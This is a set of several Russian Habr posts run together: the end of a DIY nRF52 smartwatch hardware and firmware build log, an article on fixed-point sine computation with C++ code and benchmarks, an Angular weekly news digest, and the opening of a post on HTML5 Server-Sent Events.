* Напряжение питания от 2.4V до 3.6V
* 16-битный трёхосевой MEMS-акселерометр с диапазонами измерений ±2g, ±4g, ±8g, ±16g
* 16-битный трёхосевой MEMS-гироскоп до 2000°/sec
* 16-битный трёхосевой магнетометр с диапазоном измерений до ±4800μT
* Встроенные цифровые фильтры
* Интерфейсы I²C и SPI
* Программируемые прерывания
* Сопроцессор для обработки показаний DMP (Digital Motion Processor)
Чип отличный, но в итоге показалось, что это оверкилл и для применения в часах достаточно простого акселерометра. Например [Analog ADXL362](http://www.analog.com/en/products/mems/accelerometers/adxl362.html) — по утверждениям производителя, это самый экономичный трёхосевой MEMS-акселерометр.
### Флеш-память
Было решено для приложений и данных использовать внешнюю SPI-FLASH память. Из разнообразия вариантов был выбран чип [Winbond W25Q256FV](https://www.winbond.com/resource-files/w25q256fv_revh_02112015.pdf) в компактном корпусе WSON-8:
Объем флеш-памяти составляет 256 мегабит (или 32 мегабайта), вполне достаточно. Память поделена на страницы по 256 байт, сгруппированные в сектора по 4 килобайта и блоки по 32 килобайта. В активном режиме (чтение или запись) потребляет до 20mA, в ждущем режиме — менее 1μA.
Как и с акселерометром, в последствии начало казаться, что 32 мегабайта это тоже оверкилл и можно было вместо этого использовать встроенную FLASH-память микроконтроллера, в ней аж 512 килобайт. Но место на плате было и желание иметь [файловую систему](https://github.com/pellepl/spiffs) прямо на часах тоже присутствовало.
### Кнопки
Я захотел, чтобы управление интерфейсом производилось путём нажатия на кнопки сбоку корпуса (прямо как у Pebble, какое совпадение). Тачскрин на такую маленькую диагональ экрана я в свободной продаже найти не смог. Сильно озадачивать себя выбором кнопок не стал и выбрал первые, которые были под прямым углом к плате и что попались под руку:
[Wealth Metal TD-26EA](http://www.xiejia.net/UploadFiles%5C20087299145988459.pdf):
*Источник: Чип&Дип*
Потом оказалось, что пластик в кнопках довольно плохо переносит пайку феном и мытьё платы с ацетоном.
В качестве альтернативы нашёл кнопки от [Omron B3U-3000P](https://www.omron.com/ecb/products/pdf/en-b3u.pdf):
**Картинка из даташита**
Буду использовать их в следующей ревизии платы.
### Вибромоторчик
Чтобы уведомлять о таких событиях, как оповещения или будильник, нужна вибрация.
На Aliexpress была заказана горсть вибромоторов для поверхностного монтажа, работающих от 3V и размерами (HxWxL) 3x3x12mm:
**Изображение**
Моторчик хорошо паяется к плате с помощью паяльной пасты, потребляет в пике 100mA и даёт хорошую и ощутимую вибрацию.
### Антенна
Из-за ограничений на доступную площадь платы, в качестве антенны была выбрана чип-антенна поверхностного монтажа. Это керамические детали, внутри которых особым образом намотан проводник, выступающий в качестве антенны. Коэффициент усиления у этих антенн мизерный, но для носимого устройства в паре со смартфоном этого хватает. В ходе тестов выяснилось, что две бетонных стены в квартире сигнал тоже вполне пробивает.
Первой попавшейся чип-антенной на 2.4GHz стала [Johanson 2450AT18B100](https://upverter.com/datasheet/90be7747751b0577882a3ad5af715180e2286510.pdf):
Вообще, это довольно популярные антенны, а сами Johanson производят ещё и балуны, специально оптимизированные под определённых производителей, в том числе и для Nordic. Специально для nRF52 Johanson сделали фильтр гармоник [Johanson 2450FM07A0029](https://www.johansontechnology.com/datasheets/baluns/2450FM07A0029.pdf), который заменяет рекомендуемый в референс-дизайне LC-фильтр перед антенной.
Антенны были заказаны на Aliexpress лентой на 10шт. за 214р/лента.
### Всё остальное
Пассивные компоненты для подтяжек и обвязки в основном представляют собой чипы типоразмеров 0402 и 0603 и заказаны в [Элитане](http://www.elitan.ru/). Помимо пассивных компонентов, на плате присутствуют два транзистора и пара диодов. Они участвуют в управлении вибромоторчиком, а так же в схеме питания, [развязывая питание от USB и аккумуляторное](http://blog.zakkemble.co.uk/a-lithium-battery-charger-with-load-sharing/).
Схема и плата
-------------
*Вид платы на скриншотах слегка отличается от того, что было заказано и присутствует на фотографиях устройства. На скриншотах платы просто немного более поздняя ревизия с незначительными изменениями.*
Решив попробовать что-то новое, схему и плату я рисовал не в привычном DipTrace, а в облачной EDA Upverter: [ссылка на дизайн](https://upverter.com/EP/cdbd8b9abc72b7cd/nRF52-smart-watch/).
Upverter позволяет осуществлять сквозное проектирование платы и схемы одновременно, поэтому часть элементов разводки выполнялась по схеме, а часть схемы проектировалась с учётом особенностей разводки.
Ещё одной киллер-фичей Upverter-а является огромнейшая библиотека компонентов, заботливо сгенерированная ботами и кучей индусов. Оказалось очень удобно взять уже нарисованную деталь и просто проверить, что всё более-менее правильно, вместо того, чтобы полностью рисовать символ и футпринт самостоятельно.
Сперва я решил расположить компоненты, положение которых будет закреплено точно: кнопки, порт microUSB и разъём под экран. Монтажных отверстий делать не стал, в надежде на то, что плата будет зажата корпусом и ничего болтаться не будет.
После расположения фиксированных элементов, последуем «rule of thumb» и будем разводить радио самым первым. Чип-антенна имеет около себя небольшую keepout-область, внутри и под которой на всех слоях не рекомендуется располагать дорожки и полигоны, поэтому правилом хорошего тона будет разместить антенну у края платы, желательно ближе к одному из углов. Собственно, расположение антенны продиктовало и расположение микроконтроллера. Чтобы длина проводника от порта выхода антенны у чипа до самой антенны была как можно меньше (с учётом согласующих компонентов), контроллер располагаем поближе к тому краю, на котором будет находиться антенна.
Все остальные компоненты можно располагать (не забывая про здравый смысл) вполне свободно. Это благодаря тому, что у микроконтроллера nRF52 положение портов для цифровой периферии можно определять программно.
По моему небольшому опыту, удачное взаимное расположение компонентов это 90% успеха и оно диктует качество дальнейшей разводки, поэтому такому процессу надо уделять особое внимание.
**Скриншот платы (полигоны не залиты, вид снизу)**
Для наглядности раскрасил примерную топологию ключевых участков:
Плата четырёхслойная, разместить выбранные компоненты на плате и развести их соединения было делом нескольких ночей, а затем ушла примерно неделя на тупление в плату, поиск ошибок, неторопливую перепроверку и перечитывание даташитов во избежание внезапных сюрпризов.
Плата рисовалась с учётом [технологических норм](http://docs.oshpark.com/services/) производителя плат, которым стал американский [OSHPark.com](https://oshpark.com/):
* Проводник/зазор: 5/5 Mil
* Переходные отверстия: 10/4 Mil отверстие/пад
* Материал: FR408
* Финишное покрытие: иммерсионное золото с подслоем никеля (ENIG)
* Глухие переходы (blind vias) и переходы на внутренних слоях (buried vias) не поддерживаются. *А нам и не надо*
При этом цена в $10 за кв. дюйм и количество плат в заказе — 3шт. Это очень качественные и недорогие (для прототипов) платы с узнаваемой пурпурной маской, рекомендую всем, кому не критично ждать две недели свои двусторонние или месяц четырёхслойные платы.
**Скриншот заказа**
В итоге за три платы пришлось заплатить $14 и через месяц забрать их на почте.
**Фотографии платы без компонентов**
Все компоненты размещаются на нижней стороне платы, на верхнюю сторону платы вплотную ложится модуль дисплея, под которым будет плоская катушка NFC, что позволяет сохранить несколько миллиметров высоты и гарантирует ровное и плотное прилегание дисплея.
**Получается вот такой сандвич**
На верхней стороне платы также размещается куча test-point-ов, тестовых контактных площадок, к которым подведены линии шин I²C, SPI, линии прерываний и некоторые управляющие сигналы. К этим площадкам можно подключать осциллограф или логический анализатор и такая возможность очень сильно упрощает написание драйверов и отладку прошивки. Также на верхнюю сторону платы выведен отладочный интерфейс JTAG (SWD) для прошивки и отладки через Segger JLink, идущий в комплекте nRF52-DK, и контактные площадки для припаивания катушки NFC-антенны.
Сборка и пайка
--------------
Если полностью следовать всему процессу поверхностного монтажа, то необходимо заказать [smd-трафарет (smd stencil)](https://learn.adafruit.com/smt-manufacturing/laser-cut-stencils) и паяльную пасту, нанести паяльную пасту через трафарет, расставить компоненты и отправить их в [печь (reflow oven)](https://www.sparkfun.com/tutorials/60).
Но печи у меня не было, как и трафарета. И желания возиться с ним и паяльной пастой тоже. Хотелось поскорее собрать прототип и начать тестировать и писать софт. Поэтому я запаял вручную все компоненты, самые маленькие из которых это чипы типоразмера 0402, нанося пасту иглой, размещая компоненты вакуумным пинцетом и припаивая их феном.
Результат можно наблюдать на фотографии:
*Кнопки не запаяны, а вместо нескольких трёхногих чипов — перемычки.*
*Прошу прощения за низкокачественные фотографии, снимал на кирпич.*
**Фотография через х30 лупу**
*Видно слегка повёрнутые компоненты и местами переизбыток припоя. Это неизбежно при ручном монтаже и нанесении пасты.*
Как только плата была собрана, я схватил в руки тестер и начал прозванивать всё, до чего мог дотянуться, на предмет коротких замыканий. После того, как убедился, что ничего вроде как не коротит, подключил USB-шнур. Дыма нет, чипы не греются, напряжение на USB-порту — 5 вольт, на выходе зарядки — 4.2V, напряжение после LDO — ровно три вольта. Вроде работает.
Даже будучи полностью запитанным, устройство, разумеется, не подавало абсолютно никаких признаков жизни. Теперь в него нужно вдохнуть душу — прошивку (или «операционную систему», как у некоторых производителей часов: WatchOS, PebbleOS, etc.).
Следующим этапом проверки стало подключение отладчика JLink, встроенного в nRF52-DK по интерфейсу SWD. Подключаем проводки, запускаем JLinkExe и видим наш чип! Можно приступать к написанию прошивки и тестированию остальных блоков железа программно.
«Операционная система» для часов
--------------------------------
Для низкоуровневой работы с периферией, Nordic предлагает свой [nRF5-SDK](https://www.nordicsemi.com/eng/Products/Bluetooth-low-energy/nRF5-SDK), который подходит для nRF51 и nRF52 серий.
[](https://www.nordicsemi.com/eng/Products/Bluetooth-low-energy/nRF5-SDK)
SDK написан на чистом Си и содержит целую уйму примеров для работы с периферией, радио, NFC и другими возможностями. Каждый проект примера имеет Makefile для компиляции через `arm-none-eabi-gcc`. Стиль кода библиотек и его качество вполне приемлемые, индусским кодом вроде как нигде не пахло.
В каждой папке с примером есть скомпилированные .hex-файлы, которые можно сразу залить на nRF52-DK и посмотреть в работе. При подключении nRF52-DK к компьютеру, определяется Mass Storage Device (накопитель), прямо в который можно бросить .hex файл и он тут же будет зашит в чип.
Так же поддерживается прошивка через `JLinkExe` и его GDB-сервер и через утилиту `nrfjprog`.
В ходе написания драйверов обнаружились непропаи у некоторых чипов, успешно устранённые паяльником. А так же микросхема контроля ёмкости аккумулятора была либо бракованной, либо умерла в процессе запаивания, ибо тыканье паяльником в контактные площадки и полное снятие чипа и запаивание назад феном ситуации не помогли, а вторая такая же микросхема из посылки заработала сразу же после того, как была впаяна на место предыдущей.
После написания драйверов для железа, я приступил к написанию графической библиотеки и библиотеки пользовательского интерфейса и его элементов.
*Главное меню, статус-бар, показывающий время, состояние блютуза и заряд батареи.*
**Процесс зарядки**
Для отладки графики был написан симулятор, чтобы не заливать прошивку в часы каждый раз, когда надо поправить что-то на один пиксель. Он пробрасывает низкоуровневые вызовы графического API в вызовы оконного менеджера X-Lib и позволяет рисовать в окошке как если бы это был дисплей часов. Затем достаточно тот же самый код скомпилировать под часы и залить в них, чтобы увидеть точно такой же результат и там.
Меню в симуляторе:
**Прокрутка текста в симуляторе**
После того, как основной каркас API был закончен, начал адаптировать движок JavaScript (ES 5), чтобы была возможность писать свои приложения и циферблаты и запускать их в скомпилированном виде прямо на часах. Как по мне, это круто.
В качестве движка выбрал [JerryScript](https://github.com/jerryscript-project/jerryscript), он специально нацелен на встраиваемые системы с ограниченными ресурсами, API оказался хорошо документирован и вполне адекватен, потребовалось не так много времени, чтобы со всем разобраться. Движок довольно модульный, по желанию можно выкидывать составные части как языка, так и окружения: стандартные классы типа Date и т.п., JSON-парсер, парсер и компилятор в байткод и т.д.
**Есть и другие встраиваемые JS-движки**
* [Duktape](https://github.com/svaarala/duktape)
* [Espruino](https://github.com/espruino/Espruino)
Простейший циферблат на JS выглядит так:
В дальнейшем API будет расширяться всё большим числом методов для работы с GUI, а так же оповещениями, Bluetooth, акселерометром и т.д.
Объем занимаемой памяти скомпилированного бинарника безо всяких оптимизаций (флаг `-O0`):
106kB FLASH, 12.8kB RAM. Из них 8kB RAM — куча (heap) для объектов JavaScript движка. Объем кучи я пока подбираю и в будущем он будет больше. Напомню, что объем FLASH у nRF52832 составляет 512kB, а общий объем RAM — 64kB.
Часть FLASH (120kB) и некоторый динамически определяемый объем RAM так же [занимает](http://infocenter.nordicsemi.com/topic/com.nordic.infocenter.s132.sds/dita/softdevices/s130/mem_usage/mem_usage.html?cp=2_3_0_0_13) BLE-стек SoftDevice.
Корпус
------
Это было самое сложное — нарисовать 3D-модель корпуса. Корпус рисовался в [TinkerCad](https://www.tinkercad.com/) и печатался на 3D-принтере. Получился вот такой Франкенштейн:
**Корпус и подключенный USB-шнур для зарядки**
*Если кто-то готов протянуть руку помощи с моделированием корпуса и его 3D-печатью, то я буду очень рад увидеть такого человека в ЛС!*
Заключение
----------
Изобретать велосипед и проходить примерно тот же путь, что проходили разработчики других умных часов оказалось очень увлекательно. По пути встаёт куча проблем и задач, которые надо решать, это неизбежно генерирует уйму фана, новых мыслей и в сухом остатке откладывается в виде опыта. Даже если, объективно говоря, смысла во всём этом с точки зрения личной материальной выгоды и нет, то по крайней мере это весело.
В данный момент думаю над корпусом и следующей ревизией платы, ещё нужно пробросить много API-вызовов в JS-движок, поработать над графической библиотекой и подумать над удобным способом установки JS-приложений, начать писать приложение-компаньон под Android. Я намеренно не раскрывал все детали и не углублялся в дебри, чтобы не перегружать этот пост. Если тема окажется интересной, то в следующих частях расскажу подробнее про схемотехнику, прошивку, Android-приложение и оптимизацию энергопотребления.
Ссылка на схему с платой: <https://upverter.com/EP/cdbd8b9abc72b7cd/nRF52-smart-watch/>
Когда доведу до ума и приемлемой степени читаемости код прошивки, обязательно размещу ссылку на Github.
Как и автор предыдущей статьи, надеюсь, что этот материал подтолкнёт или вдохновит кого-то погрузиться в мир электроники и сделать тот девайс, о котором он уже давно мечтает.
С нетерпением жду ваших комментариев и вопросов!
**P.S.:** добавил опрос. | https://habr.com/ru/post/404737/ | null | ru | null |
# Точные и быстрые вычисления для чисел с плавающей точкой на примере функции синуса. Часть 3: fixed-point
Продолжаем цикл лекций ([часть 1](https://habr.com/ru/post/526000/) и [часть 2](https://habr.com/ru/post/526518/)). В части 2 мы посмотрели, что внутри у библиотеки libm и в данной работе попробуем немного переделать функцию do\_sin, чтобы увеличить её точность и скорость работы. Приведу эту функцию ещё раз [do\_sin](https://github.com/bminor/glibc/blob/fd0981e4028b79b061b458acbc10315e05972ada/sysdeps/ieee754/dbl-64/s_sin.c#L120)):
Как было показано в предыдущей статье часть 132-145. Выполняется для x в пределах [0.126, 0.855469]. Ну что. Попробуем написать функцию, которая в данных пределах будет точнее и, возможно, быстрее.
Способ, которым мы воспользуемся — достаточно очевидный. Надо расширить точность вычислений, чтобы включить больше знаков после запятой. Очевидным решением было бы выбрать тип long double, посчитать в нём, а потом сконвертировать обратно. С точки зрения точности решение должно быть хорошим, но с точки зрения производительности могут быть проблемы. Всё-таки long double достаточно экзотический вид данных и его поддержка в современных процессорах не является приоритетной. На x86\_64 SSE/AVX инструкции с данным типом данных не работают. Будет «отдуваться» математический сопроцессор.
Что же тогда выбрать? Давайте посмотрим ещё раз внимательно пределы аргумента и функции.
Они находятся в районе 1.0. Т.е. по сути плавающая точка нам не нужна. Давайте при расчёте функции воспользуемся 64-битным целым. Это даст нам дополнительно 10-11 двоичных разрядов к исходной точности. Давайте разбираться, как же с этими числами работать. Число в данном формате представляется в виде *a/d*, где *a* это целое число, а *d* это делитель, который мы выбираем постоянным для всех переменных и храним «у себя в памяти», а не в памяти компьютера. Ниже приведены некоторые операции для таких чисел:
Как видите, ничего сложного в этом нет. Последняя формула показывает умножение на любое целое число. Заметим так же достаточно очевидную вещь, что результат умножения двух беззнаковых целых переменных размера N это чаще число размера до 2 \* N включительно. Сложение же может вызвать переполнение максимум на 1 дополнительный бит.
Давайте попробуем выбрать делитель *d*. Очевидно, что в двоичном мире лучше всего его выбрать степенью двойки, чтобы не делить, а просто двигать регистр, например. Какую же степень двойки выбрать? Подсказку найдём в машинных инструкциях умножения. Например, стандартная инструкция MUL в системе x86 умножает 2 регистра и результат записывает тоже в 2 регистра, где 1 из регистров это «верхняя часть» результата, а второй — нижняя часть.
Например, если у нас есть 2 64-битных числа, то результатом будет 128-битное число, записанное в два 64-битных регистра. Назовём RH — «верхний» регистр, а RL — «нижний» регистр 1. Тогда, математически, результат можно записать в виде . Теперь воспользуемся формулами сверху и напишем умножение для 
И получается, что результатом умножения этих двух чисел с фиксированной точкой является регистр .
Для системы Aarch64 всё ещё проще. Команда «UMULH» умножает два регистра и записывает в 3-ий регистр «верхнюю» часть умножения.
Ну что же. Число с фиксированной точкой мы задали, но остаётся ещё одна проблема. Отрицательные числа. В ряду Тейлора разложение идёт с переменным знаком. Чтобы справится с этой проблемой преобразуем формулу расчёта полинома по методу Гонера, к следующему виду:
Проверьте, что она с математической точки зрения абсолютно такая же, как и исходная формула. Но в каждой скобке число вида  всегда положительно. Т.е. такое преобразование позволяет рассчитывать выражение в беззнаковых целых числах.
```
constexpr mynumber toint = {{0x00000000, 0x43F00000}}; /* 18446744073709551616 = 2^64 */
constexpr mynumber todouble = {{0x00000000, 0x3BF00000}}; /* ~5.42101086242752217003726400434E-20 = 2^-64 */
double sin_e7(double xd) {
uint64_t x = xd * toint.x;
uint64_t xx = mul2(x, x);
uint64_t res = tsx[19];
for(int i = 17; i >= 3; i -= 2) {
res = tsx[i] - mul2(res, xx);
}
res = mul2(res, xx);
res = x - mul2(x, res);
return res * todouble.x;
}
```
**Значения tsx[i]**
```
constexpr array tsx = { // 2^64/i!
0x0000000000000000LL,
0x0000000000000000LL,
0x8000000000000000LL,
0x2aaaaaaaaaaaaaaaLL, // Change to 0x2aaaaaaaaaaaaaafLL and check.
0x0aaaaaaaaaaaaaaaLL,
0x0222222222222222LL,
0x005b05b05b05b05bLL,
0x000d00d00d00d00dLL,
0x0001a01a01a01a01LL,
0x00002e3bc74aad8eLL,
0x0000049f93edde27LL,
0x0000006b99159fd5LL,
0x00000008f76c77fcLL,
0x00000000b092309dLL,
0x000000000c9cba54LL,
0x0000000000d73f9fLL,
0x00000000000d73f9LL,
0x000000000000ca96LL
};
```
Где ![$tsx[i]=1/i!$](https://habrastorage.org/getpro/habr/formulas/0b4/220/e48/0b4220e48ee7d836f7ec713eaf0cf8ba.svg) в формате с фиксированной точкой. В этот раз для удобства я выложил весь код на гитхаб [fast\_sine](https://github.com/orex/fast_sine/blob/master/main.cpp), избавился от quadmath для совместимости с clang и arm. И поменял немного методику расчёта погрешности.
Данные по сравнению стандартной функции синуса и fixed point даны в двух таблицах ниже. В первой таблице приведена точность расчётов (она полностью совпадает для x86\_64 и ARM). Во второй таблице — сравнение производительности.
| | | | |
| --- | --- | --- | --- |
| **Функция** | **Количество ошибок** | **Максимальное значение ULP** | **Среднее значение отклонения** |
| sin\_e7 | 0.0822187% | 0.504787 | 7.10578e-20 |
| sin\_e7a | 0.0560688% | 0.503336 | 2.0985e-20 |
| std::sin | 0.234681% | 0.515376 | --- |
При проведение тестирования «истинное» значение синуса считалось с помощью библиотеки [MPFR](https://www.mpfr.org/). Максимальное значение ULP считалось, как максимальное отклонение от «истинного» значения. Процент ошибок — количество случаев, когда рассчитанное значение функции синуса нами или libm бинарно не совпадало с округлённым до double значением синуса. Среднее значение отклонения показывает «направление» ошибки расчётов: завышение или занижение значения. Как видно из таблицы наша функция склонна завышать значения синуса. Это можно поправить! Кто сказал, что значения tsx должны быть равны точно коэффициентам ряда Тейлора. Напрашивается достаточно очевидная идея проварьировать значения коэффициентов, чтобы улучшить точность аппроксимации и убрать постоянную составляющую ошибки. Грамотно сделать такую вариацию достаточно сложно. Но попробовать мы можем. Давайте возьмем, например, 4-ое значение из массива коэффициентов tsx (tsx[3]) и поменяем последнее число a на f. Перезапустим программу и посмотрим на точность (sin\_e7a). Посмотрите, она немного, но увеличилась! Добавляем в нашу копилку и этот способ.
Теперь посмотрим, что с производительностью. Для тестирования я взял что было под рукой i5 mobile и немного разогнанную четвёртую малинку (Raspberry PI 4 8GB), GCC10 из дистрибутива Ubuntu 20.04 x64 для обоих систем.
| | | |
| --- | --- | --- |
| **Функция** | **x86\_64 время, c** | **ARM время, c** |
| sin\_e7 | 0.174371 | 0.469210 |
| std::sin | 0.154805 | 0.447807 |
Я не претендую на большую точность данных измерений. Возможны вариации в несколько десятков процентов в зависимости от загруженности процессора. Основной вывод сделать можно и так. Переход на целочисленную арифметику не даёт выигрыш в производительности на современных процессорах2. Невообразимое количество транзисторов в современных процессорах делает возможным быстро делать сложные вычисления. Но, я думаю, что на таких процессорах, как Intel Atom, а так же на слабых контроллерах данный подход может дать существенный прирост производительности. А вы что думаете?
Хотя данный подход дал прирост точности, всё таки этот прирост точности кажется более любопытным, чем полезным. По производительности данный подход может себя найти, например, в IoT. Но для высокопроизводительных вычислений он уже совсем не маинстрим. В современном мире SSE/AVX/CUDA предпочитают использовать параллельный расчёт функций. Причем в арифметике с плавающей точкой. Параллельных аналогов функции MUL нет. Сама функция это уже скорее дань традиции.
В следующей главе я опишу, как можно эффективно использовать AVX для расчётов. Опять же залезем в код libm и попробуем его улучшить.
1 Регистров с такими названиями в известных мне процессорах нет. Имена были выбраны, для примера.
2 Тут надо отметить, что мой ARM оборудован последней версией математического сопроцессора. Если бы процессор эмулировал бы вычисления с плавающей точкой, то результаты могли бы разительно различаться. | https://habr.com/ru/post/527226/ | null | ru | null |
# Лучшее из мира Angular за неделю — Дайджест №1 (18 января - 25 января)
Свежая подборка со ссылками на новости и материалы.
Приятного чтения!
Релизы
======
### Angular
[Angular 7.2.2](https://github.com/angular/angular/blob/master/CHANGELOG.md#722-2019-01-22) — улучшена поддержка Bazel
### Angular CLI
[Angular CLI 7.2.3](https://github.com/angular/angular-cli/releases/tag/v7.2.3) — исправлены ошибки, улучшена стабильность
[Angular CLI 7.3.0-beta.0](https://github.com/angular/angular-cli/releases/tag/v7.3.0-beta.0) — множество улучшений связанных с Ivy, добавлен флаг experimentalIvy для генерации нового приложения с Ivy
[Angular CLI 7.3.0-rc.0](https://github.com/angular/angular-cli/releases/tag/v7.3.0-rc.0)
### IONIC
[4.0.0 Neutronium](https://github.com/ionic-team/ionic/compare/v4.0.0-rc.3...v4.0.0) — Enjoy!
### NGRX
[NGRX 7.1.0](https://github.com/ngrx/platform/compare/7.0.0...7.1.0)
### TypeScript
[TypeScript 3.2.4](https://github.com/Microsoft/TypeScript/releases/tag/v3.2.4)
[TypeScript 3.3 RC](https://github.com/Microsoft/TypeScript/releases/tag/v3.3-rc) — улучшили поддержку Union Types и в 4 раза ускорили инкрементальную сборку Composite Projects.
Composite Projects были опубликованы еще в TypeScript 3 и [о них можно почитать по ссылке](https://www.typescriptlang.org/docs/handbook/project-references.html).
[Подробнее о новом релизе можете почитать на официальном сайте](https://github.com/Microsoft/TypeScript/wiki/What's-new-in-TypeScript#typescript-33).
Инструменты
===========
[**Angular Console**](https://angularconsole.com/), который добавляет UI для Angular CLI, теперь имеет свой плагин в VS code.
[**ngx-quicklink**](https://github.com/mgechev/ngx-quicklink) by [mgechev](https://twitter.com/mgechev), используя Intersection Observer API для Preloading Strategy ускоряет загрузку Angular приложений.
Аналогично команде [rxjs-operator-counter](https://github.com/timdeschryver/rxjs-operator-counter), [Rustam](https://twitter.com/rustjama) написал крутую утилиту [**ng-app-counter**](https://github.com/Jamaks/ng-app-counter) для **Angular**.
[**rx-handler**](https://github.com/johnlindquist/rx-handler) — потрясающий **ReactiveX** инструмент, уменьшающий бойлерплейт.
[**rxjs-watcher**](https://github.com/xripcsu/rxjs-watcher) — простое расширение для Chrome DevTools, визуализирующее RxJS.
[**serverx-ts**](https://github.com/mflorence99/serverx-ts) — экспериментальный Node.js HTTP фреймворк, использующий RxJS.
Считаешь, что хорошо знаешь **RxJS**? Опробуй свои знания в [мини-игре **RxJS Puzzles**](https://vik-13.github.io/)!
[**TweetDeck**](https://github.com/devhubapp/devhub) — приложение для отслеживания GitHub репозиториев.
[**fx**](https://github.com/antonmedv/fx) — потрясающий CLI инструмент для удобного просмотра и редактирования JSON в терминале.
[**Spectator**](https://github.com/NetanelBasal/spectator) — полезный инструмент для тестирования Angular приложения, который делает тестирование проще и уменьшает количество бойлерплейта.
[**NgxFormly**](https://github.com/ngx-formly/ngx-formly) — простой инструмент для создания и динамического отображения реактивных форм.
[**Prettier**](https://prettier.io/) — инструмент для форматирования кода. Имеет минималистичный конфиг, есть интеграция со всеми **IDE** и поддерживает множество языков.
Для простой установки **Prettier** в **Angular**, есть готовый [**schematics**](https://github.com/schuchard/prettier-schematic)
[**HTTP Client Karin**](https://github.com/vaheqelyan/karin) необычно использует шаблонные литералы.
(Не рекомендуется использовать, пользуйтесь стандартными механизмами)
[**RunJS**](https://projects.lukehaas.me/runjs/) — scratchpad для ваших экспериментов вместе с Node.JS (macOS only)
Интересные статьи
=================
Перед тем как заниматься микро-оптимизациями, проверьте, что все перечисленное уже сделано для вашего **Angular** приложения:
* Use the Angular CLI
* Compress your assets brotli/gzip
* Use code-splitting with loadChildren
* Preload routes
* Use the Angular Service worker
<https://github.com/mgechev/angular-performance-checklist>
ExpressionChangedAfterItHasBeenCheckedError
-------------------------------------------
Все что вам нужно знать про **ExpressionChangedAfterItHasBeenCheckedError**
<https://blog.angularindepth.com/everything-you-need-to-know-about-the-expressionchangedafterithasbeencheckederror-error-e3fd9ce7dbb4>
Angular Injector
----------------
Для обеспечения быстрого поиска провайдеров, **Angular** под капотом использует **Bloom Filters**. Есть замечательная статья, которая подробно объясняет эту структуру данных:
<https://llimllib.github.io/bloomfilter-tutorial/>
Angular Forms
-------------
Организация приложения с использованием **NgxFormly**
<https://hackernoon.com/organize-your-forms-application-using-ngx-fomrly-796150461045>
Обработка ошибок с **Angular** и **NgxFormly**
<https://itnext.io/error-handling-with-angular-6-and-ngx-formly-8272a3aa7871>
Angular Monorepo
----------------
**Nrwl** опубликовали книгу "**Angular Enterprise Monorepo Patterns**".
<https://go.nrwl.io/angular-enterprise-monorepo-patterns-new-book>
Experimental Ivy
----------------
Попробовать Ivy можно уже сейчас, для этого можно воспользоваться готовым приложением.
<https://github.com/thekiba/angular-experimental-ivy>
Или самостоятельно проделать несколько шагов:
* Обновить [angular](https://habr.com/ru/users/angular/)/cli до 7.3.0-beta.0
* Создать новое приложение
* Вручную обновить [angular](https://habr.com/ru/users/angular/) до 8.0.0-beta.0
* Удалить параметр es5BrowserSupport из angular.json
```
npm i -g @angular/cli@7.3.0-beta.0
ng new angular-ivy --experimentalIvy
```
Ivy Performance
---------------
[Kliment Ru](https://medium.com/@klimentru1986) провел замечательное исследование на предмет производительности Ivy, и получил неожиданные результаты.
<https://medium.com/ngx/angular-ivy-perfomance-f98e5ca2e45e>
Ivy & AngularNYC
----------------
[Igor Minar](https://twitter.com/IgorMinar) на **AngularNYC** отвечает на вопросы про **IVY**.
<https://youtu.be/a3j5U5WVmUo>
Angular и Bazel
---------------
[Minko Gechev](https://twitter.com/mgechev) отвечает на вопросы связанные с **Angular** и **Bazel**, и рассказывает об интересных особенностях нового сборщика.
<https://youtu.be/vlIhnYnMAX0>
Bazel
-----
Инкрементальная и удаленная сборка Angular на серверах с помощью Bazel.
<https://blog.nrwl.io/building-angular-applications-remotely-with-bazel-efc506e44726>
Introducing Ionic 4
-------------------
Сегодня я рад объявить о выпуске **Ionic Framework 4.0**, который можно с легкостью назвать **«Ionic for Everyone»**.
[Max Lynch](https://twitter.com/maxlynch)
<https://blog.ionicframework.com/introducing-ionic-4-ionic-for-everyone/>
NGRX 7
------
У **NGRX** появился сайт <https://ngrx.io> с подробной документацией.
В новой версии добавили долгожданную поддержку типов для **Actions**, представили нам **Selector Props**, lifecycle методы **OnInitEffects** и **OnIdentifyEffects**. Улучшили поддержку **Entity**, **Router Store** и **Store Devtools**.
<https://medium.com/@ngrx/announcing-ngrx-version-7-docs-testing-and-more-b43eee2795a4>
Angular Forms: магическое отображение ошибок
--------------------------------------------
[Netanel Basal](https://medium.com/@NetanelBasal) рассказывает о том, как можно использовать директивы для более простого отображения ошибок в Angular.
<https://netbasal.com/make-your-angular-forms-error-messages-magically-appear-1e32350b7fa5>
Launchpad для RxJS
------------------
[Cédric Soulas](https://twitter.com/CedricSoulas) обновил сайт reactive.how, и добавил удобный Launchpad для поиска необходимых операторов по различным категориям.
* Исследуйте категории
* Ищите операторы
* Изучайте их
<https://reactive.how/rxjs/>
Если вы еще не подписаны, то подписывайтесь на мой [Twitter](https://twitter.com/thekiba_io) и [Telegram канал](https://t.me/angular_fox), а так же вступайте в [Telegram группу](https://t.me/angular_ru), чтобы быть в курсе последних событий в мире Angular. | https://habr.com/ru/post/437536/ | null | ru | null |
# HTML5 и события сервера (обновлено)
Помимо уже [упомянутого мною двунаправленного коммуникационного канала известного как WebSocket](http://dsheiko.com/weblog/persistent-full-duplex-client-server-connection-via-web-socket/), HTML5 включаетв себя также сервер-push [технологию Server-Sent Events](http://dev.w3.org/html5/eventsource/) (SSE). В то время как WebSocket широко обсуждается, доступно множество реализаций серверов WebSocket, технология уже почти в полном объеме доступна в браузере Google Chrome, SSE, по большей части остаются в тени.
Мы привыкли что HTTP ограничен моделью запрос-ответ, что значит: клиент посылает запрос HTTP и ожидает на него HTTP-ответ. По сути, сервер не может сообщить что-либо клиенту до тех пор пока клиент его его «не попросит». Даже для такой тривиальной вещи как онлайн статус пользователя, нам надо прибегать к различным уловкам. Ну вы знаете – неугомонная изобретательность энтузиастов породила множество таких решений, на что есть собирательное имя Comet. Впрочем, цитируя экспертов: [«Comet есть не что иное как гигантский хак»](http://cometdaily.com/2007/12/11/the-future-of-comet-part-1-comet-today/). Похоже, HTML 5 призван обогатить нас нативными возможностями, на смену ныне используемому Comet. В случе SSE, HTML5 предоставляет API для открытия специального HTTP соединения для принятия уведомлений со стороны сервера. Взгляните, на то какой простой интерфейс:
`var source = new EventSource('updates.php');
source.onmessage = function (event) {
alert(event.data);
};`
На стороне сервера скрипт посылает сообщения в следующем формате (ожидается MIME-тип text/event-stream):
`data: TROLOLOLOLOLOLOLOLOLOLO
data: Lorem ipsum dolor sit amet
data: consectetur adipiscing elit.
data: Vestibulum rutrum nisi in diam dapibus eget tempor mauris sollicitudin`
